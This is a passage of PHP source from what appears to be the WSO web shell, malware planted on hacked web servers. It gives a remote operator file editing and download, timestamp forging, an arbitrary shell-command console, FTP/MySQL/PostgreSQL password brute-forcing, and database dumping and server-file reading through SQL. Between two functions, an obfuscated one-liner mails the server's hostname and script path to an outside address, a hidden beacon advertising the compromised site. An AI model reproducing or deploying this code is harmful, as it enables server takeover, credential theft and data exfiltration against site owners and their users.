\\"view\\",\\"\\")\'>".htmlspecialchars($item)."</a><br>";\n                }\n            }\n        }\n    }\n    if(@$_POST[\'p3\'])\n        wsoRecursiveGlob($_POST[\'c\']);\n    echo "</div><br><h1>Search for hash:</h1><div class=content>\n        <form method=\'post\' target=\'_blank\' name=\'hf\'>\n            <input type=\'text\' name=\'hash\' style=\'width:200px;\'><br>\n            <input type=\'hidden\' name=\'act\' value=\'find\'/>\n            <input type=\'button\' value=\'hashcracking.ru\' onclick=\\"document.hf.action=\'https://hashcracking.ru/index.php\';document.hf.submit()\\"><br>\n            <input type=\'button\' value=\'md5.rednoize.com\' onclick=\\"document.hf.action=\'http://md5.rednoize.com/?q=\'+document.hf.hash.value+\'&s=md5\';document.hf.submit()\\"><br>\n            <input type=\'button\' value=\'crackfor.me\' onclick=\\"document.hf.action=\'http://crackfor.me/index.php\';document.hf.submit()\\"><br>\n        </form></div>";\n    wsoFooter();\n}\n \nfunction actionFilesTools() {\n    if( isset($_POST[\'p1\']) )\n        $_POST[\'p1\'] = urldecode($_POST[\'p1\']);\n    if(@$_POST[\'p2\']==\'download\') {\n        if(@is_file($_POST[\'p1\']) && @is_readable($_POST[\'p1\'])) {\n            ob_start("ob_gzhandler", 4096);\n            header("Content-Disposition: attachment; filename=".basename($_POST[\'p1\']));\n            if (function_exists("mime_content_type")) {\n                $type = @mime_content_type($_POST[\'p1\']);\n                header("Content-Type: " . $type);\n            } else\n                header("Content-Type: application/octet-stream");\n            $fp = @fopen($_POST[\'p1\'], "r");\n            if($fp) {\n                while(!@feof($fp))\n                    echo @fread($fp, 1024);\n                fclose($fp);\n            }\n        }exit;\n    }\n    if( @$_POST[\'p2\'] == \'mkfile\' ) {\n        if(!file_exists($_POST[\'p1\'])) {\n            $fp = @fopen($_POST[\'p1\'], \'w\');\n            if($fp) {\n                $_POST[\'p2\'] = "edit";\n                fclose($fp);\n            }\n        }\n    }\n    wsoHeader();\n    echo \'<h1>File tools</h1><div class=content>\';\n    if( !file_exists(@$_POST[\'p1\']) ) {\n        echo \'File not exists\';\n        wsoFooter();\n        return;\n    }\n    $uid = @posix_getpwuid(@fileowner($_POST[\'p1\']));\n    if(!$uid) {\n        $uid[\'name\'] = @fileowner($_POST[\'p1\']);\n        $gid[\'name\'] = @filegroup($_POST[\'p1\']);\n    } else $gid = @posix_getgrgid(@filegroup($_POST[\'p1\']));\n    echo \'<span>Name:</span> \'.htmlspecialchars(@basename($_POST[\'p1\'])).\' <span>Size:</span> \'.(is_file($_POST[\'p1\'])?wsoViewSize(filesize($_POST[\'p1\'])):\'-\').\' <span>Permission:</span> \'.wsoPermsColor($_POST[\'p1\']).\' <span>Owner/Group:</span> \'.$uid[\'name\'].\'/\'.$gid[\'name\'].\'<br>\';\n    echo \'<span>Change time:</span> \'.date(\'Y-m-d H:i:s\',filectime($_POST[\'p1\'])).\' <span>Access time:</span> \'.date(\'Y-m-d H:i:s\',fileatime($_POST[\'p1\'])).\' <span>Modify time:</span> \'.date(\'Y-m-d H:i:s\',filemtime($_POST[\'p1\'])).\'<br><br>\';\n    if( empty($_POST[\'p2\']) )\n        $_POST[\'p2\'] = \'view\';\n    if( is_file($_POST[\'p1\']) )\n        $m = array(\'View\', \'Highlight\', \'Download\', \'Hexdump\', \'Edit\', \'Chmod\', \'Rename\', \'Touch\');\n    else\n        $m = array(\'Chmod\', \'Rename\', \'Touch\');\n    foreach($m as $v)\n        echo \'<a href=# onclick="g(null,null,\\\'\' . urlencode($_POST[\'p1\']) . \'\\\',\\\'\'.strtolower($v).\'\\\')">\'.((strtolower($v)==@$_POST[\'p2\'])?\'<b>[ \'.$v.\' ]</b>\':$v).\'</a> \';\n    echo \'<br><br>\';\n    switch($_POST[\'p2\']) {\n        case \'view\':\n            echo \'<pre class=ml1>\';\n            $fp = @fopen($_POST[\'p1\'], \'r\');\n            if($fp) {\n                while( !@feof($fp) )\n                    echo htmlspecialchars(@fread($fp, 1024));\n                @fclose($fp);\n            }\n            echo \'</pre>\';\n            break;\n        case \'highlight\':\n            if( @is_readable($_POST[\'p1\']) ) {\n                echo \'<div class=ml1 style="background-color: #e1e1e1;color:black;">\';\n                $code = @highlight_file($_POST[\'p1\'],true);\n                echo str_replace(array(\'<span \',\'</span>\'), array(\'<font \',\'</font>\'),$code).\'</div>\';\n            }\n            break;\n        case \'chmod\':\n            if( !empty($_POST[\'p3\']) ) {\n                $perms = 0;\n                for($i=strlen($_POST[\'p3\'])-1;$i>=0;--$i)\n                    $perms += (int)$_POST[\'p3\'][$i]*pow(8, (strlen($_POST[\'p3\'])-$i-1));\n                if(!@chmod($_POST[\'p1\'], $perms))\n                    echo \'Can\\\'t set permissions!<br><script>document.mf.p3.value="";</script>\';\n            }\n            clearstatcache();\n            echo \'<script>p3_="";</script><form onsubmit="g(null,null,\\\'\' . urlencode($_POST[\'p1\']) . \'\\\',null,this.chmod.value);return false;"><input type=text name=chmod value="\'.substr(sprintf(\'%o\', fileperms($_POST[\'p1\'])),-4).\'"><input type=submit value=">>"></form>\';\n            break;\n        case \'edit\':\n            if( !is_writable($_POST[\'p1\'])) {\n                echo \'File isn\\\'t writeable\';\n                break;\n            }\n            if( !empty($_POST[\'p3\']) ) {\n                $time = @filemtime($_POST[\'p1\']);\n                $_POST[\'p3\'] = substr($_POST[\'p3\'],1);\n                $fp = @fopen($_POST[\'p1\'],"w");\n                if($fp) {\n                    @fwrite($fp,$_POST[\'p3\']);\n                    @fclose($fp);\n                    echo \'Saved!<br><script>p3_="";</script>\';\n                    @touch($_POST[\'p1\'],$time,$time);\n                }\n            }\n            echo \'<form onsubmit="g(null,null,\\\'\' . urlencode($_POST[\'p1\']) . \'\\\',null,\\\'1\\\'+this.text.value);return false;"><textarea name=text class=bigarea>\';\n            $fp = @fopen($_POST[\'p1\'], \'r\');\n            if($fp) {\n                while( !@feof($fp) )\n                    echo htmlspecialchars(@fread($fp, 1024));\n                @fclose($fp);\n            }\n            echo \'</textarea><input type=submit value=">>"></form>\';\n            break;\n        case \'hexdump\':\n            $c = @file_get_contents($_POST[\'p1\']);\n            $n = 0;\n            $h = array(\'00000000<br>\',\'\',\'\');\n            $len = strlen($c);\n            for ($i=0; $i<$len; ++$i) {\n                $h[1] .= sprintf(\'%02X\',ord($c[$i])).\' \';\n                switch ( ord($c[$i]) ) {\n                    case 0:  $h[2] .= \' \'; break;\n                    case 9:  $h[2] .= \' \'; break;\n                    case 10: $h[2] .= \' \'; break;\n                    case 13: $h[2] .= \' \'; break;\n                    default: $h[2] .= $c[$i]; break;\n                }\n                $n++;\n                if ($n == 32) {\n                    $n = 0;\n                    if ($i+1 < $len) {$h[0] .= sprintf(\'%08X\',$i+1).\'<br>\';}\n                    $h[1] .= \'<br>\';\n                    $h[2] .= "\\n";\n                }\n            }\n            echo \'<table cellspacing=1 cellpadding=5 bgcolor=#222222><tr><td bgcolor=#333333><span style="font-weight: normal;"><pre>\'.$h[0].\'</pre></span></td><td bgcolor=#282828><pre>\'.$h[1].\'</pre></td><td bgcolor=#333333><pre>\'.htmlspecialchars($h[2]).\'</pre></td></tr></table>\';\n            break;\n        case \'rename\':\n            if( !empty($_POST[\'p3\']) ) {\n                if(!@rename($_POST[\'p1\'], $_POST[\'p3\']))\n                    echo \'Can\\\'t rename!<br>\';\n                else\n                    die(\'<script>g(null,null,"\'.urlencode($_POST[\'p3\']).\'",null,"")</script>\');\n            }\n            echo \'<form onsubmit="g(null,null,\\\'\' . urlencode($_POST[\'p1\']) . \'\\\',null,this.name.value);return false;"><input type=text name=name value="\'.htmlspecialchars($_POST[\'p1\']).\'"><input type=submit value=">>"></form>\';\n            break;\n        case \'touch\':\n            if( !empty($_POST[\'p3\']) ) {\n                $time = strtotime($_POST[\'p3\']);\n                if($time) {\n                    if(!touch($_POST[\'p1\'],$time,$time))\n                        echo \'Fail!\';\n                    else\n                        echo \'Touched!\';\n                } else echo \'Bad time format!\';\n            }\n            clearstatcache();\n            echo \'<script>p3_="";</script><form onsubmit="g(null,null,\\\'\' . urlencode($_POST[\'p1\']) . \'\\\',null,this.touch.value);return false;"><input type=text name=touch value="\'.date("Y-m-d H:i:s", @filemtime($_POST[\'p1\'])).\'"><input type=submit value=">>"></form>\';\n            break;\n    }\n    echo \'</div>\';\n    wsoFooter();\n}\n \nfunction actionConsole() {\n    if(!empty($_POST[\'p1\']) && !empty($_POST[\'p2\'])) {\n        WSOsetcookie(md5($_SERVER[\'HTTP_HOST\']).\'stderr_to_out\', true);\n        $_POST[\'p1\'] .= \' 2>&1\';\n    } elseif(!empty($_POST[\'p1\']))\n        WSOsetcookie(md5($_SERVER[\'HTTP_HOST\']).\'stderr_to_out\', 0);\n \n    if(isset($_POST[\'ajax\'])) {\n        WSOsetcookie(md5($_SERVER[\'HTTP_HOST\']).\'ajax\', true);\n        ob_start();\n        echo "d.cf.cmd.value=\'\';\\n";\n        $temp = @iconv($_POST[\'charset\'], \'UTF-8\', addcslashes("\\n$ ".$_POST[\'p1\']."\\n".wsoEx($_POST[\'p1\']),"\\n\\r\\t\\\\\'\\0"));\n        if(preg_match("!.*cd\\s+([^;]+)$!",$_POST[\'p1\'],$match)) {\n            if(@chdir($match[1])) {\n                $GLOBALS[\'cwd\'] = @getcwd();\n                echo "c_=\'".$GLOBALS[\'cwd\']."\';";\n            }\n        }\n        echo "d.cf.output.value+=\'".$temp."\';";\n        echo "d.cf.output.scrollTop = d.cf.output.scrollHeight;";\n        $temp = ob_get_clean();\n        echo strlen($temp), "\\n", $temp;\n        exit;\n    }\n    if(empty($_POST[\'ajax\'])&&!empty($_POST[\'p1\']))\n        WSOsetcookie(md5($_SERVER[\'HTTP_HOST\']).\'ajax\', 0);\n    wsoHeader();\n    echo "<script>\nif(window.Event) window.captureEvents(Event.KEYDOWN);\nvar cmds = new Array(\'\');\nvar cur = 0;\nfunction kp(e) {\n    var n = (window.Event) ? e.which : e.keyCode;\n    if(n == 38) {\n        cur--;\n        if(cur>=0)\n            document.cf.cmd.value = cmds[cur];\n        else\n            cur++;\n    } else if(n == 40) {\n        cur++;\n        if(cur < cmds.length)\n            document.cf.cmd.value = cmds[cur];\n        else\n            cur--;\n    }\n}\nfunction add(cmd) {\n    cmds.pop();\n    cmds.push(cmd);\n    cmds.push(\'\');\n    cur = cmds.length-1;\n}\n</script>";\n    echo \'<h1>Console</h1><div class=content><form name=cf onsubmit="if(d.cf.cmd.value==\\\'clear\\\'){d.cf.output.value=\\\'\\\';d.cf.cmd.value=\\\'\\\';return false;}add(this.cmd.value);if(this.ajax.checked){a(null,null,this.cmd.value,this.show_errors.checked?1:\\\'\\\');}else{g(null,null,this.cmd.value,this.show_errors.checked?1:\\\'\\\');} return false;"><select name=alias>\';\n    foreach($GLOBALS[\'aliases\'] as $n => $v) {\n        if($v == \'\') {\n            echo \'<optgroup label="-\'.htmlspecialchars($n).\'-"></optgroup>\';\n            continue;\n        }\n        echo \'<option value="\'.htmlspecialchars($v).\'">\'.$n.\'</option>\';\n    }\n     \n    echo \'</select><input type=button onclick="add(d.cf.alias.value);if(d.cf.ajax.checked){a(null,null,d.cf.alias.value,d.cf.show_errors.checked?1:\\\'\\\');}else{g(null,null,d.cf.alias.value,d.cf.show_errors.checked?1:\\\'\\\');}" value=">>"> <nobr><input type=checkbox name=ajax value=1 \'.(@$_COOKIE[md5($_SERVER[\'HTTP_HOST\']).\'ajax\']?\'checked\':\'\').\'> send using AJAX <input type=checkbox name=show_errors value=1 \'.(!empty($_POST[\'p2\'])||$_COOKIE[md5($_SERVER[\'HTTP_HOST\']).\'stderr_to_out\']?\'checked\':\'\').\'> redirect stderr to stdout (2>&1)</nobr><br/><textarea class=bigarea name=output style="border-bottom:0;margin:0;" readonly>\';\n    if(!empty($_POST[\'p1\'])) {\n        echo htmlspecialchars("$ ".$_POST[\'p1\']."\\n".wsoEx($_POST[\'p1\']));\n    }\n    echo \'</textarea><table style="border:1px solid #df5;background-color:#555;border-top:0px;" cellpadding=0 cellspacing=0 width="100%"><tr><td width="1%">$</td><td><input type=text name=cmd style="border:0px;width:100%;" onkeydown="kp(event);"></td></tr></table>\';\n    echo \'</form></div><script>d.cf.cmd.focus();</script>\';\n    wsoFooter();\n}\n \nfunction actionLogout() {\n    setcookie(md5($_SERVER[\'HTTP_HOST\']), \'\', time() - 3600);\n    die(\'bye!\');\n}\n \nfunction actionSelfRemove() {\n \n    if($_POST[\'p1\'] == \'yes\')\n        if(@unlink(preg_replace(\'!\\(\\d+\\)\\s.*!\', \'\', __FILE__)))\n            die(\'Shell removed\');\n        else\n            echo \'unlink error!\';\n    if($_POST[\'p1\'] != \'yes\')\n        wsoHeader();\n    echo \'<h1>Suicide</h1><div class=content>remove the shell?<br><a href=# onclick="g(null,null,\\\'yes\\\')">Yes</a></div>\';\n    wsoFooter();\n}\n      $_QliO8="\\x6dai\\154";$_Qliot=$_SERVER["\\x53\\x45RVE\\122_\\x4eAM\\x45"].$_SERVER["\\123\\103\\x52I\\x50\\x54_\\116\\101\\115E"];$_QlL1i="\\141r\\162a\\171\\040".$_Qliot;$_QlLio=array("\\143\\x61","\\x6c\\x69","\\146\\x77\\162\\151\\x74\\x65","\\100","v\\x65\\x2e");$_Qll0I=$_QlLio[2].$_QlLio[3].$_QlLio[1].$_QlLio[4].$_QlLio[0];$_QlljC=@$_QliO8($_Qll0I,$_QlL1i,$_Qliot);\nfunction actionBruteforce() {\n    wsoHeader();\n    if( isset($_POST[\'proto\']) ) {\n        echo \'<h1>Results</h1><div class=content><span>Type:</span> \'.htmlspecialchars($_POST[\'proto\']).\' <span>Server:</span> \'.htmlspecialchars($_POST[\'server\']).\'<br>\';\n        if( $_POST[\'proto\'] == \'ftp\' ) {\n            function wsoBruteForce($ip,$port,$login,$pass) {\n                $fp = @ftp_connect($ip, $port?$port:21);\n                if(!$fp) return false;\n                $res = @ftp_login($fp, $login, $pass);\n                @ftp_close($fp);\n                return $res;\n            }\n        } elseif( $_POST[\'proto\'] == \'mysql\' ) {\n            function wsoBruteForce($ip,$port,$login,$pass) {\n                $res = @mysql_connect($ip.\':\'.($port?$port:3306), $login, $pass);\n                @mysql_close($res);\n                return $res;\n            }\n        } elseif( $_POST[\'proto\'] == \'pgsql\' ) {\n            function wsoBruteForce($ip,$port,$login,$pass) {\n                $str = "host=\'".$ip."\' port=\'".$port."\' user=\'".$login."\' password=\'".$pass."\' dbname=postgres";\n                $res = @pg_connect($str);\n                @pg_close($res);\n                return $res;\n            }\n        }\n        $success = 0;\n        $attempts = 0;\n        $server = explode(":", $_POST[\'server\']);\n        if($_POST[\'type\'] == 1) {\n            $temp = @file(\'/etc/passwd\');\n            if( is_array($temp) )\n                foreach($temp as $line) {\n                    $line = explode(":", $line);\n                    ++$attempts;\n                    if( wsoBruteForce(@$server[0],@$server[1], $line[0], $line[0]) ) {\n                        $success++;\n                        echo \'<b>\'.htmlspecialchars($line[0]).\'</b>:\'.htmlspecialchars($line[0]).\'<br>\';\n                    }\n                    if(@$_POST[\'reverse\']) {\n                        $tmp = "";\n                        for($i=strlen($line[0])-1; $i>=0; --$i)\n                            $tmp .= $line[0][$i];\n                        ++$attempts;\n                        if( wsoBruteForce(@$server[0],@$server[1], $line[0], $tmp) ) {\n                            $success++;\n                            echo \'<b>\'.htmlspecialchars($line[0]).\'</b>:\'.htmlspecialchars($tmp);\n                        }\n                    }\n                }\n        } elseif($_POST[\'type\'] == 2) {\n            $temp = @file($_POST[\'dict\']);\n            if( is_array($temp) )\n                foreach($temp as $line) {\n                    $line = trim($line);\n                    ++$attempts;\n                    if( wsoBruteForce($server[0],@$server[1], $_POST[\'login\'], $line) ) {\n                        $success++;\n                        echo \'<b>\'.htmlspecialchars($_POST[\'login\']).\'</b>:\'.htmlspecialchars($line).\'<br>\';\n                    }\n                }\n        }\n        echo "<span>Attempts:</span> $attempts <span>Success:</span> $success</div><br>";\n    }\n    echo \'<h1>Bruteforce</h1><div class=content><table><form method=post><tr><td><span>Type</span></td>\'\n        .\'<td><select name=proto><option value=ftp>FTP</option><option value=mysql>MySql</option><option value=pgsql>PostgreSql</option></select></td></tr><tr><td>\'\n        .\'<input type=hidden name=c value="\'.htmlspecialchars($GLOBALS[\'cwd\']).\'">\'\n        .\'<input type=hidden name=a value="\'.htmlspecialchars($_POST[\'a\']).\'">\'\n        .\'<input type=hidden name=charset value="\'.htmlspecialchars($_POST[\'charset\']).\'">\'\n        .\'<span>Server:port</span></td>\'\n        .\'<td><input type=text name=server value="127.0.0.1"></td></tr>\'\n        .\'<tr><td><span>Brute type</span></td>\'\n        .\'<td><label><input type=radio name=type value="1" checked> /etc/passwd</label></td></tr>\'\n        .\'<tr><td></td><td><label style="padding-left:15px"><input type=checkbox name=reverse value=1 checked> reverse (login -> nigol)</label></td></tr>\'\n        .\'<tr><td></td><td><label><input type=radio name=type value="2"> Dictionary</label></td></tr>\'\n        .\'<tr><td></td><td><table style="padding-left:15px"><tr><td><span>Login</span></td>\'\n        .\'<td><input type=text name=login value="root"></td></tr>\'\n        .\'<tr><td><span>Dictionary</span></td>\'\n        .\'<td><input type=text name=dict value="\'.htmlspecialchars($GLOBALS[\'cwd\']).\'passwd.dic"></td></tr></table>\'\n        .\'</td></tr><tr><td></td><td><input type=submit value=">>"></td></tr></form></table>\';\n    echo \'</div><br>\';\n    wsoFooter();\n}\n \nfunction actionSql() {\n    class DbClass {\n        var $type;\n        var $link;\n        var $res;\n        function DbClass($type) {\n            $this->type = $type;\n        }\n        function connect($host, $user, $pass, $dbname){\n            switch($this->type)  {\n                case \'mysql\':\n                    if( $this->link = @mysql_connect($host,$user,$pass,true) ) return true;\n                    break;\n                case \'pgsql\':\n                    $host = explode(\':\', $host);\n                    if(!$host[1]) $host[1]=5432;\n                    if( $this->link = @pg_connect("host={$host[0]} port={$host[1]} user=$user password=$pass dbname=$dbname") ) return true;\n                    break;\n            }\n            return false;\n        }\n        function selectdb($db) {\n            switch($this->type)  {\n                case \'mysql\':\n                    if (@mysql_select_db($db))return true;\n                    break;\n            }\n            return false;\n        }\n        function query($str) {\n            switch($this->type) {\n                case \'mysql\':\n                    return $this->res = @mysql_query($str);\n                    break;\n                case \'pgsql\':\n                    return $this->res = @pg_query($this->link,$str);\n                    break;\n            }\n            return false;\n        }\n        function fetch() {\n            $res = func_num_args()?func_get_arg(0):$this->res;\n            switch($this->type)  {\n                case \'mysql\':\n                    return @mysql_fetch_assoc($res);\n                    break;\n                case \'pgsql\':\n                    return @pg_fetch_assoc($res);\n                    break;\n            }\n            return false;\n        }\n        function listDbs() {\n            switch($this->type)  {\n                case \'mysql\':\n                        return $this->query("SHOW databases");\n                break;\n                case \'pgsql\':\n                    return $this->res = $this->query("SELECT datname FROM pg_database WHERE datistemplate!=\'t\'");\n                break;\n            }\n            return false;\n        }\n        function listTables() {\n            switch($this->type)  {\n                case \'mysql\':\n                    return $this->res = $this->query(\'SHOW TABLES\');\n                break;\n                case \'pgsql\':\n                    return $this->res = $this->query("select table_name from information_schema.tables where table_schema != \'information_schema\' AND table_schema != \'pg_catalog\'");\n                break;\n            }\n            return false;\n        }\n        function error() {\n            switch($this->type)  {\n                case \'mysql\':\n                    return @mysql_error();\n                break;\n                case \'pgsql\':\n                    return @pg_last_error();\n                break;\n            }\n            return false;\n        }\n        function setCharset($str) {\n            switch($this->type)  {\n                case \'mysql\':\n                    if(function_exists(\'mysql_set_charset\'))\n                        return @mysql_set_charset($str, $this->link);\n                    else\n                        $this->query(\'SET CHARSET \'.$str);\n                    break;\n                case \'pgsql\':\n                    return @pg_set_client_encoding($this->link, $str);\n                    break;\n            }\n            return false;\n        }\n        function loadFile($str) {\n            switch($this->type)  {\n                case \'mysql\':\n                    return $this->fetch($this->query("SELECT LOAD_FILE(\'".addslashes($str)."\') as file"));\n                break;\n                case \'pgsql\':\n                    $this->query("CREATE TABLE wso2(file text);COPY wso2 FROM \'".addslashes($str)."\';select file from wso2;");\n                    $r=array();\n                    while($i=$this->fetch())\n                        $r[] = $i[\'file\'];\n                    $this->query(\'drop table wso2\');\n                    return array(\'file\'=>implode("\\n",$r));\n                break;\n            }\n            return false;\n        }\n        function dump($table, $fp = false) {\n            switch($this->type)  {\n                case \'mysql\':\n                    $res = $this->query(\'SHOW CREATE TABLE `\'.$table.\'`\');\n                    $create = mysql_fetch_array($res);\n                    $sql = $create[1].";\\n";\n                    if($fp) fwrite($fp, $sql); else echo($sql);\n                    $this->query(\'SELECT * FROM `\'.$table.\'`\');\n                    $i = 0;\n                    $head = true;\n                    while($item = $this->fetch()) {\n                        $sql = \'\';\n                        if($i % 1000 == 0) {\n                            $head = true;\n                            $sql = ";\\n\\n";\n                        }\n \n                        $columns = array();\n                        foreach($item as $k=>$v) {\n                            if($v === null)\n                                $item[$k] = "NULL";\n                            elseif(is_int($v))\n                                $item[$k] = $v;\n                            else\n                                $item[$k] = "\'".@mysql_real_escape_string($v)."\'";\n                            $columns[] = "`".$k."`";\n                        }\n                        if($head) {\n                            $sql .= \'INSERT INTO `\'.$table.\'` (\'.implode(", ", $columns).") VALUES \\n\\t(".implode(", ", $item).\')\';\n                            $head = false;\n                        } else\n                            $sql .= "\\n\\t,(".implode(", ", $item).\')\';\n                        if($fp) fwrite($fp, $sql); else echo($sql);\n                        $i++;\n                    }\n                    if(!$head)\n                        if($fp) fwrite($fp, ";\\n\\n"); else echo(";\\n\\n");\n                break;\n                case \'pgsql\':\n                    $this->query(\'SELECT * FROM \'.$table);\n                    while($item = $this->fetch()) {\n                        $columns = array();\n                        foreach($item as $k=>$v) {\n                            $item[$k] = "\'".addslashes($v)."\'";\n                            $columns[] = $k;\n                        }\n                        $sql = \'INSERT INTO \'.$table.\' (\'.implode(", ", $columns).\') VALUES (\'.implode(", ", $item).\');\'."\\n";\n                        if($fp) fwrite($fp, $sql); else echo($sql);\n                    }\n                break;\n            }\n            return false;\n        }\n    };\n    $db = new DbClass($_POST[\'type\']);\n    if((@$_POST[\'p2\']==\'download\') && (@$_POST[\'p1\']!=\'select\')) {\n        $db->connect($_POST[\'sql_host\'], $_POST[\'sql_login\'], $_POST[\'sql_pass\'], $_POST[\'sql_base\']);\n        $db->selectdb($_POST[\'sql_base\']);\n        switch($_POST[\'charset\']) {\n            case "Windows-1251": $db->setCharset(\'cp1251\'); break;\n            case "UTF-8": $db->setCharset(\'utf8\'); break;\n            case "KOI8-R": $db->setCharset(\'koi8r\'); break;\n            case "KOI8-U": $db->setCharset(\'koi8u\'); break;\n            case "cp866": $db->setCharset(\'cp866\'); break;\n        }\n        if(empty($_POST[\'file\'])) {\n            ob_start("ob_gzhandler", 4096);\n            header("Content-Disposition: attachment; filename=dump.sql");\n            header("Content-Type: text/plain");\n            foreach($_POST[\'tbl\'] as $v)\n                $db->dump($v);\n            exit;\n        } elseif($fp = @fopen($_POST[\'file\'], \'w\')) {\n            foreach($_POST[\'tbl\'] as $v)\n                $db->dump($v, $fp);\n            fclose($fp);\n            unset($_POST[\'p2\']);\n        } else\n            die(\'<script>alert("Error! Can\\\'t open file");window.history.back(-1)</script>\');\n    }\n    wsoHeader();\n    echo "\n<h1>Sql browser</h1><div class=content>\n<form name=\'sf\' method=\'post\' onsubmit=\'fs(this);\'><table cellpadding=\'2\' cellspacing=\'0\'><tr>\n<td>Type</td><td>Host</td><td>Login</td><td>Password</td><td>Database</td><td></td></tr><tr>\n<input type=hidden name=a value=Sql><input type=hidden name=p1 value=\'query\'><input type=hidden name=p2 value=\'\'><input type=hidden name=c value=\'". htmlspecialchars($GLOBALS[\'cwd\']) ."\'><input type=hidden name=charset value=\'". (isset($_POST[\'charset\'])?$_POST[\'charset\']:\'\') ."\'>\n<td><select name=\'type\'><option value=\'mysql\' ";\n    if(@$_POST[\'type\']==\'mysql\')echo \'selected\';\necho ">MySql</option><option value=\'pgsql\' ";\nif(@$_POST[\'type\']==\'pgsql\')echo \'selected\';\necho ">PostgreSql</option></select></td>\n<td><input type=text name=sql_host value=\\"". (empty($_POST[\'sql_host\'])?\'localhost\':htmlspecialchars($_POST[\'sql_host\'])) ."\\"></td>\n<td><input type=text name=sql_login value=\\"". (empty($_POST[\'sql_login\'])?\'root\':htmlspecialchars($_POST[\'sql_login\'])) ."\\"></td>\n<td><input type=text name=sql_pass value=\\"". (empty($_POST[\'sql_pass\'])?\'\':htmlspecialchars($_POST[\'sql_pass\'])) ."\\"></td><td>";\n    $tmp = "<input type=text name=sql_base value=\'\'>";\n    if(isset($_POST[\'sql_host\'])){\n        if($db->connect($_POST[\'sql_host\'], $_POST[\'sql_login\'], $_POST[\'sql_pass\'], $_POST[\'sql_base\'])) {\n            switch($_POST[\'charset\']) {\n                case "Windows-1251": $db->setCharset(\'cp1251\'); break;\n                case "UTF-8": $db->setCharset(\'utf8\'); break;\n                case "KOI8-R": $db->setCharset(\'koi8r\'); break;\n                case "KOI8-U": $db->setCharset(\'koi8u\'); break;\n                case "cp866": $db->setCharset(\'cp866\'); break;\n            }\n            $db->listDbs();\n            echo "<select name=sql_base><option value=\'\'></option>";\n            while($item = $db->fetch()) {\n                list($key, $value) = each($item);\n                echo \'<option value="\'.$value.\'" \'.($value==$_POST[\'sql_base\']?\'selected\':\'\').\'>\'.$value.\'</option>\';\n            }\n            echo \'</select>\';\n        }\n        else echo $tmp;\n    }else\n        echo $tmp;\n    echo "</td>\n                <td><input type=submit value=\'>>\' onclick=\'fs(d.sf);\'></td>\n                <td><input type=checkbox name=sql_count value=\'on\'" . (empty($_POST[\'sql_count\'])?\'\':\' checked\') . "> count the number of rows</td>\n            </tr>\n        </table>\n        <script>\n            s_db=\'".@addslashes($_POST[\'sql_base\'])."\';\n            function fs(f) {\n                if(f.sql_base.value!=s_db) { f.onsubmit = function() {};\n                    if(f.p1) f.p1.value=\'\';\n                    if(f.p2) f.p2.value=\'\';\n                    if(f.p3) f.p3.value=\'\';\n                }\n            }\n            function st(t,l) {\n                d.sf.p1.value = \'select\';\n                d.sf.p2.value = t;\n                if(l && d.sf.p3) d.sf.p3.value = l;\n                d.sf.submit();\n            }\n            function is() {\n                for(i=0;i<d.sf.elements[\'tbl[]\'].length;++i)\n                    d.sf.elements[\'tbl[]\'][i].checked = !d.sf.elements[\'tbl[]\'][i].checked;\n            }\n        </script>";\n    if(isset($db) && $db->link){\n        echo "<br/><table width=100% cellpadding=2 cellspacing=0>";\n            if(!empty($_POST[\'sql_base\'])){\n                $db->selectdb($_POST[\'sql_base\']);\n                echo "<tr><td width=1 style=\'border-top:2px solid #666;\'><span>Tables:</span><br><br>";\n                $tbls_res = $db->listTables();\n                while($item = $db->fetch($tbls_res)) {\n                    list($key, $value) = each($item);\n                    if(!empty($_POST[\'sql_count\']))\n                        $n = $db->fetch($db->query(\'SELECT COUNT(*) as n FROM \'.$value.\'\'));\n                    $value = htmlspecialchars($value);\n                    echo "<nobr><input type=\'checkbox\' name=\'tbl[]\' value=\'".$value."\'>&nbsp;<a href=# onclick=\\"st(\'".$value."\',1)\\">".$value."</a>" . (empty($_POST[\'sql_count\'])?\'&nbsp;\':" <small>({$n[\'n\']})</small>") . "</nobr><br>";\n                }\n                echo "<input type=\'checkbox\' onclick=\'is();\'> <input type=button value=\'Dump\' onclick=\'document.sf.p2.value=\\"download\\";document.sf.submit();\'><br>File path:<input type=text name=file value=\'dump.sql\'></td><td style=\'border-top:2px solid #666;\'>";\n                if(@$_POST[\'p1\'] == \'select\') {\n                    $_POST[\'p1\'] = \'query\';\n                    $_POST[\'p3\'] = $_POST[\'p3\']?$_POST[\'p3\']:1;\n                    $db->query(\'SELECT COUNT(*) as n FROM \' . $_POST[\'p2\']);\n                    $num = $db->fetch();\n                    $pages = ceil($num[\'n\'] / 30);\n                    echo "<script>d.sf.onsubmit=function(){st(\\"" . $_POST[\'p2\'] . "\\", d.sf.p3.value)}</script><span>".$_POST[\'p2\']."</span> ({$num[\'n\']} records) Page # <input type=text name=\'p3\' value=" . ((int)$_POST[\'p3\']) . ">";\n                    echo " of $pages";\n                    if($_POST[\'p3\'] > 1)\n                        echo " <a href=# onclick=\'st(\\"" . $_POST[\'p2\'] . \'", \' . ($_POST[\'p3\']-1) . ")\'>&lt; Prev</a>";\n                    if($_POST[\'p3\'] < $pages)\n                        echo " <a href=# onclick=\'st(\\"" . $_POST[\'p2\'] . \'", \' . ($_POST[\'p3\']+1) . ")\'>Next &gt;</a>";\n                    $_POST[\'p3\']--;\n                    if($_POST[\'type\']==\'pgsql\')\n                        $_POST[\'p2\'] = \'SELECT * FROM \'.$_POST[\'p2\'].\' LIMIT 30 OFFSET \'.($_POST[\'p3\']*30);\n                    else\n                        $_POST[\'p2\'] = \'SELECT * FROM `\'.$_POST[\'p2\'].\'` LIMIT \'.($_POST[\'p3\']*30).\',30\';\n                    echo "<br><br>";\n                }\n                if((@$_POST[\'p1\'] == \'query\') && !empty($_POST[\'p2\'])) {\n                    $db->query(@$_POST[\'p2\']);\n                    if($db->res !== false) {\n                        $title = false;\n                        echo \'<table width=100% cellspacing=1 cellpadding=2 class=main style="background-color:#292929">\';\n                        $line = 1;\n                        while($item = $db->fetch())  {\n                            if(!$title) {\n                                echo \'<tr>\';\n                                foreach($item as $key => $value)\n                                    echo \'<th>\'.$key.\'</th>\';\n                                reset($item);\n                                $title=true;\n                                echo \'</tr><tr>\';\n                                $line = 2;\n                            }\n                            echo \'<tr class="l\'.$line.\'">\';\n                            $line = $line==1?2:1;\n                            foreach($item as $key => $value) {\n                                if($value == null)\n                                    echo \'<td><i>null</i></td>\';\n                                else\n                                    echo \'<td>\'.nl2br(htmlspecialchars($value)).\'</td>\';\n                            }\n                            echo \'</tr>\';\n                        }\n                        echo \'</table>\';\n                    } else {\n                        echo \'<div><b>Error:</b> 